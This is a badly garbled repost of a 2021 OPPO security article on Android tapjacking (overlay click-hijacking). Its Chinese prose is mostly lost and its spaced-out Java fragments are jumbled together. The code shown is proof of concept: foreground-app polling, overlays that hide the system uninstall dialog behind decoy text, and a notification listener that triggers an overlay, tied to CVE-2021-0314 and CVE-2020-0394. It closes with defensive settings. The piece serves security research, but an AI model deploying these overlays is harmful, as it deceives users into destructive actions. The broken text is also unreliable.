[27874] 2021-07-09_不可忽视的威胁:Android中的点击劫持攻击

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-19
2021-07-09_不可忽视的威胁:Android中的点击劫持攻击 A n d r o i d   h e e e e e n   O P P O   2 0 2 1 - 0 7 - 0 9 #   , 1 0 #     , 1 8 # a n d r o i d   , 2 O P P O h e e e e e n 稿 广 稿 O S R C 稿 ~ ~ 稿 M a r k d o w n 0 1 .   T a p j a c k i n g A n d r o i d 1 A P P A P P A P P A P P 1   A n d r o i d A P P A P P S Y S T E M _ A L E R T _ W I N D O W A P P 使 W i n d o w M a n a g e r . L a y o u t P a r a m s . T Y P E _ A P P L I C A T I O N _ O V E R L A Y A P P A n d r o i d A P P 使 T a r g e t   S D K   2 3 A P P   T a r g e t   S D K   <   2 3 G o o g l e P l a y A P P S Y S T E M _ A L E R T _ W I N D O W A P P [ 1 ] A P P A c t i v i t y F r a g m e n t
0 2 .   2 . 1   A c t i v i t y   g e t R u n n i n g T a s k s A c t i v i t y g e t R u n n i n g A p p P r o c e s s e s A P P g e t R u n n i n g T a s k A n d r o i d   5 A n d r o i d   1 1 退 ( L a u n c h e r g e t R u n n i n g A p p P r o c e s s e s 使 A n d r o i d   1 1 S t r i n g   p k g N a m e   =   " c o m . a n d r o i d . c e r t i n s t a l l e r " ;   / /     w h i l e   ( t r u e )   {           i f ( g e t T o p P a c k a g e ( ) )   {     / /                     I n t e n t   i   =   n e w   I n t e n t ( M a i n A c t i v i t y . t h i s ,   O v e r l a y A c t i v i t y . c l a s s ) ;                   i . a d d F l a g s ( I n t e n t . F L A G _ A C T I V I T Y _ N E W _ T A S K ) ;                   s t a r t A c t i v i t y ( i ) ;                   M a i n A c t i v i t y . t h i s . f i n i s h ( ) ;                                                   }   } p r i v a t e   b o o l e a n   g e t T o p P a c k a g e ( )   {                 A c t i v i t y M a n a g e r   a m   =   ( A c t i v i t y M a n a g e r ) m C o n t e x t . g e t S y s t e m S e r v i c e ( A C T I V I T Y _ S E R V I C E ) ;                 C o m p o n e n t N a m e   c n   =   a m . g e t R u n n i n g T a s k s ( 1 ) . g e t ( 0 ) . t o p A c t i v i t y ;                 S t r i n g   t o p P a c k a g e   =   c n . g e t P a c k a g e N a m e ( ) ;                 L o g . d ( T A G ,   " t o p P a c k a g e :   "   +   t o p P a c k a g e ) ;                 i f   ( p k g N a m e . c o n t a i n s ( t o p P a c k a g e ) )   {                         r e t u r n   t r u e ;                 }                 r e t u r n   f a l s e ; } A c t i v i t y M a n a g e r   a c t i v i t y M a n a g e r   =   ( A c t i v i t y M a n a g e r )   g e t S y s t e m S e r v i c e ( C o n t e x t . A C T I V I T Y _ S E R V I C E ) ; L i s t < A c t i v i t y M a n a g e r . R u n n i n g A p p P r o c e s s I n f o >   p r o c e s s I n f o   =   a c t i v i t y M a n a g e r . g e t R u n n i n g A p p P r o c e s s e s ( ) ;
2 . 2   A P P A n d r o i d   C V E - 2 0 2 0 - 0 3 0 6   C V E - 2 0 2 0 - 0 3 9 4   C V E - 2 0 2 0 - 0 0 1 5   C V E - 2 0 2 1 - 0 3 1 4   C V E - 2 0 2 1 - 0 4 8 7   :   C V E - 2 0 2 1 - 0 3 1 4 C V E - 2 0 2 1 - 0 3 1 4 f r a m e w o r k s / b a s e / p a c k a g e s / P a c k a g e I n s t a l l e r / s r c / c o m / a n d r o i d / p a c k a g e i n s t a l l e r / U n i n s t a l l e r A c t i v i t y . j a v a U n i n s t a l l e r A c t i v i t y I n t e n t 使 a n d r o i d 2   A P P S Y S T E M _ A L E R T _ W I N D O W F l o a t i n g B u t t o n S e r v i c e 1 F l o a t i n g B u t t o n S e r v i c e I n t e n t   i n t e n t   =   n e w   I n t e n t ( ) ; i n t e n t . s e t C o m p o n e n t ( n e w   C o m p o n e n t N a m e ( " c o m . g o o g l e . a n d r o i d . p a c k a g e i n s t a l l e r " ,   " "   +                   " c o m . a n d r o i d . p a c k a g e i n s t a l l e r . U n i n s t a l l e r A c t i v i t y " ) ) ; i n t e n t . s e t D a t a ( U r i . p a r s e ( " p a c k a g e : a n d r o i d " ) ) ;   / /   p u t   a r b i t r a r y   u n s t a l l a b l e   p a c k a g e   n a m e   h e r e s t a r t A c t i v i t y ( i n t e n t ) ;   L a y o u t P a r a m s   w i n d o w M a n a g e r   =   ( W i n d o w M a n a g e r )   g e t S y s t e m S e r v i c e ( W I N D O W _ S E R V I C E ) ;                 l a y o u t P a r a m s   =   n e w   W i n d o w M a n a g e r . L a y o u t P a r a m s ( ) ;                 i f   ( B u i l d . V E R S I O N . S D K _ I N T   > =   B u i l d . V E R S I O N _ C O D E S . O )   {                         l a y o u t P a r a m s . t y p e   =   W i n d o w M a n a g e r . L a y o u t P a r a m s . T Y P E _ A P P L I C A T I O N _ O V E R L A Y ;                 }   e l s e   {
F L A G _ W A T C H _ O U T S I D E _ T O U C H 退 2 使 3 退 退                         l a y o u t P a r a m s . t y p e   =   W i n d o w M a n a g e r . L a y o u t P a r a m s . T Y P E _ P H O N E ;                 }                 l a y o u t P a r a m s . f o r m a t   =   P i x e l F o r m a t . T R A N S L U C E N T ;                 l a y o u t P a r a m s . g r a v i t y   =   G r a v i t y . L E F T   |   G r a v i t y . T O P ;                 l a y o u t P a r a m s . f l a g s   =   W i n d o w M a n a g e r . L a y o u t P a r a m s . F L A G _ N O T _ T O U C H _ M O D A L   |                       W i n d o w M a n a g e r . L a y o u t P a r a m s . F L A G _ N O T _ F O C U S A B L E   |   W i n d o w M a n a g e r . L a y o u t P a r a m s . F L A G _ W A T C H _ O U T S I D E _ T O U C H ;                 l a y o u t P a r a m s . w i d t h   =   9 2 0 ;                 l a y o u t P a r a m s . h e i g h t   =   3 0 0 ;                 l a y o u t P a r a m s . x   =   8 0 ;                 l a y o u t P a r a m s . y   =   8 0 0 ;     @ O v e r r i d e         p u b l i c   i n t   o n S t a r t C o m m a n d ( I n t e n t   i n t e n t ,   i n t   f l a g s ,   i n t   s t a r t I d )   {                 s h o w F l o a t i n g W i n d o w ( ) ;                 r e t u r n   s u p e r . o n S t a r t C o m m a n d ( i n t e n t ,   f l a g s ,   s t a r t I d ) ;         }         @ O v e r r i d e         p u b l i c   v o i d   o n D e s t r o y ( )   {                 i f   ( w i n d o w M a n a g e r   ! =   n u l l   & &   b u t t o n   ! =   n u l l )   {                         w i n d o w M a n a g e r . r e m o v e V i e w ( b u t t o n ) ;                 }                 s u p e r . o n D e s t r o y ( ) ;         }         p r i v a t e   v o i d   s h o w F l o a t i n g W i n d o w ( )   {                 i f   ( S e t t i n g s . c a n D r a w O v e r l a y s ( t h i s ) )   {                         b u t t o n   =   n e w   B u t t o n ( g e t A p p l i c a t i o n C o n t e x t ( ) ) ;                         b u t t o n . s e t T e x t ( " O v e r l a y   U n i n s t a l l e r A c t i v i t y ' s   T e x t   t o   S h o w   S o m e t h i n g   E l s e .   "   +                                         " Y o u r   a l a r m   w i l l   r i n g   i n   5   m i n u t e s " ) ;   / /                           b u t t o n . s e t B a c k g r o u n d C o l o r ( C o l o r . W H I T E ) ;                         w i n d o w M a n a g e r . a d d V i e w ( b u t t o n ,   l a y o u t P a r a m s ) ;                         b u t t o n . s e t O n T o u c h L i s t e n e r ( n e w   F l o a t i n g O n T o u c h L i s t e n e r ( ) ) ;                 }         }         p r i v a t e   c l a s s   F l o a t i n g O n T o u c h L i s t e n e r   i m p l e m e n t s   V i e w . O n T o u c h L i s t e n e r   {                 p r i v a t e   i n t   x ;                 p r i v a t e   i n t   y ;                 @ O v e r r i d e                 p u b l i c   b o o l e a n   o n T o u c h ( V i e w   v i e w ,   M o t i o n E v e n t   e v e n t )   {                         s w i t c h   ( e v e n t . g e t A c t i o n ( ) )   {                                 c a s e   M o t i o n E v e n t . A C T I O N _ O U T S I D E :
A P P F l o a t i n g B u t t o n S e r v i c e 使 3   P a c k a g e I n s t a l l e r O K A P P p a c k a g e A P P A C T I O N _ O U T S I D E 退 2 . 3   A P P A P P 广 A P P N o t i f i c a t i o n L i s t e n e r S e r v i c e                                         w i n d o w M a n a g e r . r e m o v e V i e w ( b u t t o n ) ;                                 d e f a u l t :                                         b r e a k ;                         }                         r e t u r n   f a l s e ;                 }         } } I n t e n t   i n t e n t   =   n e w   I n t e n t ( ) ; i n t e n t . s e t C o m p o n e n t ( n e w   C o m p o n e n t N a m e ( " c o m . g o o g l e . a n d r o i d . p a c k a g e i n s t a l l e r " ,   " "   +                   " c o m . a n d r o i d . p a c k a g e i n s t a l l e r . U n i n s t a l l e r A c t i v i t y " ) ) ; i n t e n t . s e t D a t a ( U r i . p a r s e ( " p a c k a g e : a n d r o i d " ) ) ;   / /   p u t   a r b i t r a r y   u n s t a l l a b l e   p a c k a g e   n a m e   h e r e s t a r t A c t i v i t y ( i n t e n t ) ; I n t e n t   i n t e n t 2   =   n e w   I n t e n t ( M a i n A c t i v i t y . t h i s ,   F l o a t i n g B u t t o n S e r v i c e . c l a s s ) ; s t a r t S e r v i c e ( i n t e n t 2 ) ; p u b l i c   c l a s s   L i s t e n S e r v i c e   e x t e n d s   N o t i f i c a t i o n L i s t e n e r S e r v i c e   {         p u b l i c   v o i d   o n N o t i f i c a t i o n P o s t e d ( S t a t u s B a r N o t i f i c a t i o n   s b n )   {                 i f   ( ! s b n . g e t P a c k a g e N a m e ( ) . e q u a l s ( T A R G E T _ P A C K A G E ) )   r e t u r n ;   / /                   N o t i f i c a t i o n   n o t i f i c a t i o n   =   s b n . g e t N o t i f i c a t i o n ( ) ;                 i f   ( n o t i f i c a t i o n . e x t r a s . g e t ( " a n d r o i d . t i t l e " ) . e q u a l s ( T A R G E T _ H I N T ) )   {   / /  
C V E - 2 0 2 0 - 0 3 9 4 C V E - 2 0 2 0 - 0 3 9 4   A P P A P P L i s t e n S e r v i c e F l o a t i n g B u t t o n S e r v i c e 1 . 2 0 3 .   3 . 1   A n d r o i d   a n d r o i d . p e r m i s s i o n . H I D E _ N O N _ S Y S T E M _ O V E R L A Y _ W I N D O W S 使 S Y S T E M _ F L A G _ H I D E _ N O N _ S Y S T E M _ O V E R L A Y _ W I N D O W S   L a y o u t P a r a m s 使 使 S Y S T E M _ A L E R T _ W I N D O W o n C r e a t e g e t W i n d o w ( ) . a d d S y s t e m F l a g s ( S Y S T E M _ F L A G _ H I D E _ N O N _ S Y S T E M _ O V E R L A Y _ W I N D O W S ) ; A n d r o i d 3 . 2   V i e w t r u e p u b l i c   v o i d   s e t F i l t e r T o u c h e s W h e n O b s c u r e d   ( b o o l e a n   e n a b l e d ) V i e w a n d r o i d : f i l t e r T o u c h e s W h e n O b s c u r e d t r u e t o a s t d i a l o g w i n d o w                 i f   ( n o t i f i c a t i o n . e x t r a s . g e t ( " a n d r o i d . t i t l e " ) . e q u a l s ( T A R G E T _ H I N T ) )   {   / /                           L o g . d ( " s b n " ,   " t a r g e t   n o t i f i c a t i o n   r e c e i v e d ! " ) ;                         s t a r t O v e r l a y S e r v i c e ( ) ;   / /                   }         } p a c k a g e s / a p p s / S e t t i n g s / s r c / c o m / a n d r o i d / s e t t i n g s / b l u e t o o t h / B l u e t o o t h P a i r i n g S e r v i c e . j a v a   N o t i f i c a t i o n . A c t i o n   p a i r A c t i o n   =   n e w   N o t i f i c a t i o n . A c t i o n . B u i l d e r ( 0 ,                                 r e s . g e t S t r i n g ( R . s t r i n g . b l u e t o o t h _ d e v i c e _ c o n t e x t _ p a i r _ c o n n e c t ) ,   p a i r I n t e n t ) . b u i l d ( ) ;                 N o t i f i c a t i o n . A c t i o n   d i s m i s s A c t i o n   =   n e w   N o t i f i c a t i o n . A c t i o n . B u i l d e r ( 0 ,                                 r e s . g e t S t r i n g ( a n d r o i d . R . s t r i n g . c a n c e l ) ,   d i s m i s s I n t e n t ) . b u i l d ( ) ;                 b u i l d e r . s e t C o n t e n t T i t l e ( r e s . g e t S t r i n g ( R . s t r i n g . b l u e t o o t h _ n o t i f _ t i t l e ) )                                 . s e t C o n t e n t T e x t ( r e s . g e t S t r i n g ( R . s t r i n g . b l u e t o o t h _ n o t i f _ m e s s a g e ,   n a m e ) )                                 . s e t C o n t e n t I n t e n t ( p a i r I n t e n t )                                 . s e t D e f a u l t s ( N o t i f i c a t i o n . D E F A U L T _ S O U N D )                                 . s e t C o l o r ( g e t C o l o r ( c o m . a n d r o i d . i n t e r n a l . R . c o l o r . s y s t e m _ n o t i f i c a t i o n _ a c c e n t _ c o l o r ) )                                 . a d d A c t i o n ( p a i r A c t i o n )                                 . a d d A c t i o n ( d i s m i s s A c t i o n ) ;
V i e w o n F i l t e r T o u c h E v e n t F o r S e c u r i t y A P P 3 . 3   A n d r o i d   1 2   S Y S T E M _ A L E R T _ W I N D O W A n d r o i d A n d r o i d   1 2 s e t F i l t e r T o u c h e s W h e n O b s c u r e d t r u e [ 3 ] A P P A P P   A P P   A s s i s t a n t     r o o t   v i e w   G O N E I N V I S I B L E   a l p h a 0 . 0   a l e r t A n d r o i d   1 2 A n d r o i d   V R P [ 4 ] S Y S T E M _ A L E R T _ W I N D O W C V E [ 1 ] h t t p s : / / b l o g . n v i s o . e u / 2 0 2 1 / 0 5 / 1 1 / n e w - m a l w a r e - f a m i l y - n o w - a l s o - t a r g e t s - b e l g i a n - f i n a n c i a l - a p p s / [ 2 ] W i n d o w M a n a g e r . L a y o u t P a r a m s . T Y P E A P P L I C A T I O N O V E R L A Y [ 3 ] h t t p s : / / d e v e l o p e r . a n d r o i d . g o o g l e . c n / a b o u t / v e r s i o n s / 1 2 / b e h a v i o r - c h a n g e s - a l l # u n t r u s t e d - t o u c h - e v e n t s [ 4 ] h t t p s : / / w w w . g o o g l e . c o m / a b o u t / a p p s e c u r i t y / a n d r o i d - r e w a r d s / 2 0 2 1   O P P O A I 广 - A T T & C K Q U I C O P P O D e v S e c O p s

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则